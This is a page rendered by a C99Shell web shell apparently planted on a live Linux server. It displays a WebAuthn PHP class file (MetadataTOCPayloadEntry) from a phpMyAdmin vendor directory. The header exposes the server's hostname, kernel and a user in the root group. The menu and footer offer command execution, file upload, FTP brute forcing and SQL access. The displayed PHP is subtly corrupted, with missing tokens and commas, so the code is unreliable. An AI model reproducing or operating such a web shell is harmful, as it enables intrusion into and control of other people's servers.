!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/web-auth/metadata-service/src/   drwxr-xr-x
Free 28.15 GB of 117.98 GB (23.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MetadataTOCPayloadEntry.php (5.49 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

/*
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2021 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE file for details.
 */

namespace Webauthn\MetadataService;

use 
Assert\Assertion;
use 
Base64Url\Base64Url;
use function 
count;
use 
JsonSerializable;
use 
LogicException;

class 
MetadataTOCPayloadEntry implements JsonSerializable
{
    
/**
     * @var string|null
     */
    
private $aaid;

    
/**
     * @var string|null
     */
    
private $aaguid;

    
/**
     * @var string[]
     */
    
private $attestationCertificateKeyIdentifiers = [];

    
/**
     * @var string|null
     */
    
private $hash;

    
/**
     * @var string|null
     */
    
private $url;

    
/**
     * @var StatusReport[]
     */
    
private $statusReports = [];

    
/**
     * @var string
     */
    
private $timeOfLastStatusChange;

    
/**
     * @var string
     */
    
private $rogueListURL;

    
/**
     * @var string
     */
    
private $rogueListHash;

    public function 
__construct(?string $aaid, ?string $aaguid, array $attestationCertificateKeyIdentifiers, ?string $hash, ?string $urlstring $timeOfLastStatusChange, ?string $rogueListURL, ?string $rogueListHash)
    {
        if (
null !== $aaid && null !== $aaguid) {
            throw new 
LogicException('Authenticators cannot support both AAID and AAGUID');
        }
        if (
null === $aaid && null === $aaguid && === count($attestationCertificateKeyIdentifiers)) {
            throw new 
LogicException('If neither AAID nor AAGUID are set, the attestation certificate identifier list shall not be empty');
        }
        foreach (
$attestationCertificateKeyIdentifiers as $attestationCertificateKeyIdentifier) {
            
Assertion::string($attestationCertificateKeyIdentifierUtils::logicException('Invalid attestation certificate identifier. Shall be a list of strings'));
            
Assertion::notEmpty($attestationCertificateKeyIdentifierUtils::logicException('Invalid attestation certificate identifier. Shall be a list of strings'));
            
Assertion::regex($attestationCertificateKeyIdentifier'/^[0-9a-f]+$/'Utils::logicException('Invalid attestation certificate identifier. Shall be a list of strings'));
        }
        
$this->aaid $aaid;
        
$this->aaguid $aaguid;
        
$this->attestationCertificateKeyIdentifiers $attestationCertificateKeyIdentifiers;
        
$this->hash Base64Url::decode($hash);
        
$this->url $url;
        
$this->timeOfLastStatusChange $timeOfLastStatusChange;
        
$this->rogueListURL $rogueListURL;
        
$this->rogueListHash $rogueListHash;
    }

    public function 
getAaid(): ?string
    
{
        return 
$this->aaid;
    }

    public function 
getAaguid(): ?string
    
{
        return 
$this->aaguid;
    }

    public function 
getAttestationCertificateKeyIdentifiers(): array
    {
        return 
$this->attestationCertificateKeyIdentifiers;
    }

    public function 
getHash(): ?string
    
{
        return 
$this->hash;
    }

    public function 
getUrl(): ?string
    
{
        return 
$this->url;
    }

    public function 
addStatusReports(StatusReport $statusReport): self
    
{
        
$this->statusReports[] = $statusReport;

        return 
$this;
    }

    
/**
     * @return StatusReport[]
     */
    
public function getStatusReports(): array
    {
        return 
$this->statusReports;
    }

    public function 
getTimeOfLastStatusChange(): string
    
{
        return 
$this->timeOfLastStatusChange;
    }

    public function 
getRogueListURL(): string
    
{
        return 
$this->rogueListURL;
    }

    public function 
getRogueListHash(): string
    
{
        return 
$this->rogueListHash;
    }

    public static function 
createFromArray(array $data): self
    
{
        
$data Utils::filterNullValues($data);
        
Assertion::keyExists($data'timeOfLastStatusChange'Utils::logicException('Invalid data. The parameter "timeOfLastStatusChange" is missing'));
        
Assertion::keyExists($data'statusReports'Utils::logicException('Invalid data. The parameter "statusReports" is missing'));
        
Assertion::isArray($data['statusReports'], Utils::logicException('Invalid data. The parameter "statusReports" shall be an array of StatusReport objects'));
        
$object = new self(
        
$data['aaid'] ?? null,
        
$data['aaguid'] ?? null,
        
$data['attestationCertificateKeyIdentifiers'] ?? [],
        
$data['hash'] ?? null,
        
$data['url'] ?? null,
            
$data['timeOfLastStatusChange'],
            
$data['rogueListURL'] ?? null,
            
$data['rogueListHash'] ?? null
        
);
        foreach (
$data['statusReports'] as $statusReport) {
            
$object->addStatusReports(StatusReport::createFromArray($statusReport));
        }

        return 
$object;
    }

    public function 
jsonSerialize(): array
    {
        
$data = [
            
'aaid' => $this->aaid,
            
'aaguid' => $this->aaguid,
            
'attestationCertificateKeyIdentifiers' => $this->attestationCertificateKeyIdentifiers,
            
'hash' => Base64Url::encode($this->hash),
            
'url' => $this->url,
            
'statusReports' => array_map(static function (StatusReport $object): array {
                return 
$object->jsonSerialize();
            }, 
$this->statusReports),
            
'timeOfLastStatusChange' => $this->timeOfLastStatusChange,
            
'rogueListURL' => $this->rogueListURL,
            
'rogueListHash' => $this->rogueListHash,
        ];

        return 
Utils::filterNullValues($data);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--